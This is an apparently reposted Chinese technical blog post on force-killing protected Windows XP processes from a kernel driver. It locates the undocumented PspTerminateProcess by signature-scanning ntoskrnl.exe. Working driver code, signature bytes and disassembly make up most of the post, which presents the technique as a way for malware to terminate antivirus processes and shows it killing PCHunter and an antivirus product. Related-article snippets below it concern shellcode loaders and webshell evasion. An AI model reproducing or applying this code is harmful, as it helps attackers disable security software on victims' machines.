<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】初探進程強殺

    VSole2022-01-06 16:45:21

     

    00前言

    進程保護可以通過三環hook,諸如inline hook,IAT hook,不過在三環的hook都是雕蟲小計,很輕松的就可以發現被發現,一些AV或者EDR往往三環是沒有鉤子的。3環的病毒面對0環的反病毒往往是顯得弱小不堪,于是病毒也跳到0環,與反病毒公平展開博弈。

    01ZwTerminateProcess

    這是一個微軟已經文檔化了的內核API,能夠殺死一個其他的進程和它所對應的全部線程。

    NTSYSAPI NTSTATUS ZwTerminateProcess(  [in, optional] HANDLE   ProcessHandle,  [in]           NTSTATUS ExitStatus);
    

    只需要傳入一個進程句柄和一個退出碼,就可以殺死一個進程。那么可想而知,如果病毒調用這個內核api,即可殺死所有反病毒進程,但攻防不斷對抗,反病毒程序當然知道你要通過這個api就可以殺死我,于是就在內核下hook了這個api,如果結束的進程是我自己,我就不允許結束。

    病毒自然也是不服氣,冥思苦想想到了新的辦法。

    02PspTerminateProcess

    這也是一個內核API,我們去微軟官網查這個函數。

    可以看到是沒有這個函數的文檔的,但他存在嗎,難道是別人杜撰的?

    不服氣的我去問windbg,windbg是通過pdb文件去解析的,能告訴我們很多不為人知的秘密。

    u PspTerminateProcess l40
    

    還真有,經過大佬指點,原來這是微軟偷偷自己在用的函數,并且沒有給我們說,但他確實是存在的,這叫未文檔化函數。

    那么如果我們想要調用這個函數怎么辦呢?windbg可以通過pdb文件找到這個函數,我們則可以通過另外的方式找到他。

    1.暴力搜索,提取該函數的特征碼,全盤搜索。

    2.如果有已文檔化的函數調用了PspTerminateProcess,那我們就可以通過指針加偏移的方式獲取到他的地址,同樣可以調用。

    本文就只講述第一種方式,提取特征碼后暴力搜索。

    暴力搜索

    暴力搜索首先是要明確搜什么,在哪搜。

    在哪搜

    在哪搜索這個是比較明確的,內核的api大概率都在ntoskrnl.exe中。

    那怎么獲取到ntoskrnl.exe的基址和大小呢?通過內核模塊遍歷就可以。

    驅動函數入口的第一個參數指向的是DRIVER_OBJECT結構體。

    kd> dt _DRIVER_OBJECT
    

    在+0x014的位置,名為DriverSection的成員,指向的也是一個結構體_LDR_DATA_TABLE_ENTRY

    kd> dt _LDR_DATA_TABLE_ENTRY
    

    這個結構體詳細的說明了當前模塊的一些信息,在偏移為0的位置名為InLoadOrderLinks,通過名字來看也知道他是一個鏈表,實際上是通過這個鏈表將所有的模塊都串在一起。

    kd> dt _LIST_ENTRY
    

    通過這個鏈表我們可以獲取到其他所有模塊的信息,自然也就能夠獲得ntoskrnl.exe模塊的信息。

    基址和大小就在下面兩個成員里。

    搜什么

    自然是搜索特征碼,那么這個特征碼怎么提呢?

    kd> u pspterminateprocess l40nt!PspTerminateProcess:805c9da4 8bff            mov     edi,edi805c9da6 55              push    ebp805c9da7 8bec            mov     ebp,esp805c9da9 56              push    esi805c9daa 64a124010000    mov     eax,dword ptr fs:[00000124h]805c9db0 8b7508          mov     esi,dword ptr [ebp+8]805c9db3 3b7044          cmp     esi,dword ptr [eax+44h]805c9db6 7507            jne     nt!PspTerminateProcess+0x1b (805c9dbf)805c9db8 b80d0000c0      mov     eax,0C000000Dh805c9dbd eb5a            jmp     nt!PspTerminateProcess+0x75 (805c9e19)805c9dbf 57              push    edi805c9dc0 8dbe48020000    lea     edi,[esi+248h]805c9dc6 f6470120        test    byte ptr [edi+1],20h805c9dca 7412            je      nt!PspTerminateProcess+0x3a (805c9dde)805c9dcc 8d8674010000    lea     eax,[esi+174h]805c9dd2 50              push    eax805c9dd3 56              push    esi805c9dd4 68769d5c80      push    offset nt!NtTerminateProcess+0x14c (805c9d76)805c9dd9 e896eeffff      call    nt!PspCatchCriticalBreak (805c8c74)805c9dde 6a08            push    8805c9de0 58              pop     eax805c9de1 f00907          lock or dword ptr [edi],eax805c9de4 6a00            push    0805c9de6 56              push    esi805c9de7 e88a4f0000      call    nt!PsGetNextProcessThread (805ced76)805c9dec 8bf8            mov     edi,eax805c9dee 85ff            test    edi,edi805c9df0 741e            je      nt!PspTerminateProcess+0x6c (805c9e10)805c9df2 ff750c          push    dword ptr [ebp+0Ch]805c9df5 57              push    edi805c9df6 e807fdffff      call    nt!PspTerminateThreadByPointer (805c9b02)805c9dfb 57              push    edi805c9dfc 56              push    esi805c9dfd e8744f0000      call    nt!PsGetNextProcessThread (805ced76)805c9e02 8bf8            mov     edi,eax805c9e04 85ff            test    edi,edi805c9e06 75ea            jne     nt!PspTerminateProcess+0x4e (805c9df2)805c9e08 3986bc000000    cmp     dword ptr [esi+0BCh],eax805c9e0e 7406            je      nt!PspTerminateProcess+0x72 (805c9e16)805c9e10 56              push    esi805c9e11 e8baf5feff      call    nt!ObClearProcessHandleTable (805b93d0)805c9e16 33c0            xor     eax,eax805c9e18 5f              pop     edi805c9e19 5e              pop     esi805c9e1a 5d              pop     ebp805c9e1b c20800          ret     8805c9e1e cc              int     3805c9e1f cc              int     3805c9e20 cc              int     3805c9e21 cc              int     3805c9e22 cc              int     3805c9e23 cc              int     3
    

    我們可以將上面所有的硬編碼都提取出來,然后再進行搜索,但是這樣有意義么,或者意義大嗎?

    顯然,特征碼只需要提取其中一小塊就可以達到效果。比如805c9db0那個位置上,就可以提取4個字節的特征碼,因為并不是所有的api都會把ebp+8中存儲的值放到esi中,是比較小眾的。但光這四個字節是說明不了問題的,所以還要加一些特征碼。

    加一些特征碼并不意味著連續,最好的方式就是隔一段代碼,再提取,我們只需要判斷相對偏移地址上的硬編碼是不是與特征碼相同就行了。按照這個思路,我這里提取了三段。

    ULONG str1 = 0x3b08758b;ULONG str2 = 0x0248be8d;ULONG str3 = 0x0174868d;
    

    03代碼實現

    首先需要定義一個_LDR_DATA_TABLE_ENTRY結構體。

    typedef struct _LDR_DATA_TABLE_ENTRY{    LIST_ENTRY InLoadOrderLinks;    LIST_ENTRY InMemoryOrderLinks;    LIST_ENTRY InInitializationOrderLinks;    ULONG DllBase;    ULONG EntryPoint;    ULONG SizeOfImage;    UNICODE_STRING FullDllName;    UNICODE_STRING BaseDllName;    ULONG Flags;    USHORT LoadCount;    USHORT TlsIndex;    LIST_ENTRY HashLinks;    ULONG SectionPointer;    ULONG CheckSum;    ULONG TimeDateStamp;    ULONG LoadedImports;    ULONG EntryPointActivationContext;    ULONG PatchInformation;
    }LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
    

    通過遍歷模塊找到ntoskrnl.exe的基址和大小,有了這兩個值就可以搜索了。

    UNICODE_STRING ntoskrnl = { 0 };RtlInitUnicodeString(&ntoskrnl, L"ntoskrnl.exe");
    PLDR_DATA_TABLE_ENTRY PMoudleLinkDriver = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;//DbgPrint("%ws", PMoudleLinkDriver->BaseDllName.Buffer);PLDR_DATA_TABLE_ENTRY PMoudleLinkDriverNext = PMoudleLinkDriver;
    LONG x = RtlCompareUnicodeString(&(PMoudleLinkDriver->BaseDllName), &ntoskrnl, TRUE);
    while (x != 0){    PMoudleLinkDriverNext = (PLDR_DATA_TABLE_ENTRY)PMoudleLinkDriverNext->InLoadOrderLinks.Flink;    x = RtlCompareUnicodeString(&(PMoudleLinkDriverNext->BaseDllName), &ntoskrnl, TRUE);}ULONG pNtoskrnlBase = PMoudleLinkDriverNext->DllBase;ULONG pNtoskrnlLimit = PMoudleLinkDriverNext->SizeOfImage;
    

    搜索代碼,遍歷整個ntoskrnl.exe的硬編碼。特征碼就是上面提取到的三組12字節的硬編碼。

    for (ULONG i = pNtoskrnlBase;i< pNtoskrnlBase + pNtoskrnlLimit; i++)    {        //DbgPrint("%x", *(PULONG)i);        if (*(PULONG)i == str1)        {            if (*(PULONG)(i + 0x10) == str2)            {                if (*(PULONG)(i + 0x1c) == str3)                {                    PspTerminateProcess = (funcPspTerminateProcess)(i - 0xc);                    break;                }            }        }
        }
    

    定義函數指針,我們需要有這個函數指針去執行這個函數。

    typedef NTSTATUS(*funcPspTerminateProcess)(PEPROCESS process, NTSTATUS ExitStatus);
    

    函數的第一個參數是PEPROCESS類型的,可以通過PsLookupProcessByProcessId函數獲得。

    PEPROCESS pEprocesszz = NULL;NTSTATUS status = PsLookupProcessByProcessId((HANDLE)1232, &pEprocesszz);if (status != STATUS_SUCCESS) {    DbgPrint(TEXT("獲取進程的PEPROCESS失敗"));    return status;}
    

    第二個參數是out型參數,會返回一個PEPROCESS結構體,第一個參數傳入一個pid就可以了。

    最后判斷一下是否殺死了。

    status = PspTerminateProcess(pEprocesszz,0);if (status != STATUS_SUCCESS){    DbgPrint(TEXT("殺死進程失敗"));}DbgPrint(TEXT("殺死進程成功"));
    

    04效果展示

    選擇要強殺的進程是pchunter.exe。這種內核工具具有一定保護自身的功能。在用戶層甚至看不到用戶名。

    我們嘗試直接結束。果然是不行的。

    加載我們自己的驅動試試。

    運行驅動瞬間,pchunter被結束掉了。

    這里有同學就說了,你殺個pchunter干什么?于是我下了個某av。最新版的。

    嘗試結束其中一個進程。

    加載我們自己的驅動。

    05后記

    不同os的PspTerminateProcess函數名已經發生變化,感興趣的同學自行拓展,本文的os是xp。

    同樣可以自行挖掘,未導出文檔函數還有很多,都將成為對抗利器。

    特征碼
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    特征免殺
    2023-01-16 10:39:39
    特征又稱電腦病毒特征,它主要由反病毒公司制作,一般都是被反病毒軟件公司確定為只有該病毒才可能會有的一串二進制字符串,而這字符串通常是文件里對應程式碼或匯編指令的地址。殺毒軟件會將這一串二進制字符串用某種方法與目標文件或處理程序作對比,從而判定該文件或進程是否感染病毒。
    前言提到webshell免殺,方法無外乎對靜態特征的變形,編碼,或利用語言特性繞過。計算機中有很多符號,它們在編程語言中占據一席之地,這些符號作為運算符號,標識符號或起到特殊含義。本文以PHP為例介紹一些利用符號免殺方法。免殺WAF檢測通過對安全狗、護衛神、D盾等常見軟WAF的測試,發現WAF查殺主要依賴兩種檢測方法1.靜態檢測:通過匹配特征來查找webshell。如危險函數,文件特征等。例如 ${$my_var[8]}與${$my_var}[8]的區分${xxx} 括起來的要當成變量處理。
    Bypass_AV msf免殺,ShellCode免殺加載器 ,免殺shellcode執行程序 ,360&火絨&Windows Defender代碼夠簡單,估計要不了多久就進特征庫了,被殺了再去改幾個特征照樣又可以免殺,作者的github保持更新,可以去瞅瞅。測試可以免殺國內殺軟?注意:ShellCode 需要是64位的加載器將生成的ShellCode 填至 Bypass_AV.py 里的 ShellCode = '''ShellCode''' 處注意:保留原始ShellCode 里的雙引號 "示例:最終格式:打包成可執行程序編譯Python 3.8.6pyinstaller 4.7pip install pyinstaller
    webshell免殺之傳參方式及特征繞過傳參方式 在這里解釋一下為什么,需要講述傳參方式,由于在很多情況下,以請求頭作為參數傳遞并非waf和人工排查的重中之重且非常誤導和隱藏
    而且Mimikatz這些知名工具的內容像mimikatz、作者信息之類的字符串就很容易被做為特征識別。可以利用Visual Studio的替換功能實現關鍵字的處理。
    殺軟及免殺原理
    2021-12-02 06:21:50
    將內存、文件掃描出的特征信息與病毒特征數據庫進行對比。(存在黑白名單)
    免殺知識匯總
    2021-08-25 23:11:00
    免殺知識匯總
    CS免殺姿勢
    2022-08-02 16:42:30
    花指令免殺,在程序 shellcode 或特征代碼區域增添垃圾指令,增加的垃圾指令不會影響文件執行,在動態查殺或者文件hash對比是校驗會不一致。加殼,比如upx加殼等,一般文件落地后對比哈希值也可繞過殺軟。二次編譯,一般用于對shellcode進行二次編譯bypass殺軟。安裝火絨,查殺CS上線加殼另外再加殼測試。賽門鐵克也未報毒,其它殺軟不放圖了。
    因前段時間退出了內網的學習,現在開始復習web方面的漏洞了,于是乎,開始了挖洞之旅,當我像往常一樣上傳冰蝎的webhsell時,發現冰蝎的子居然被殺了.......于是便有了該文章.....
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类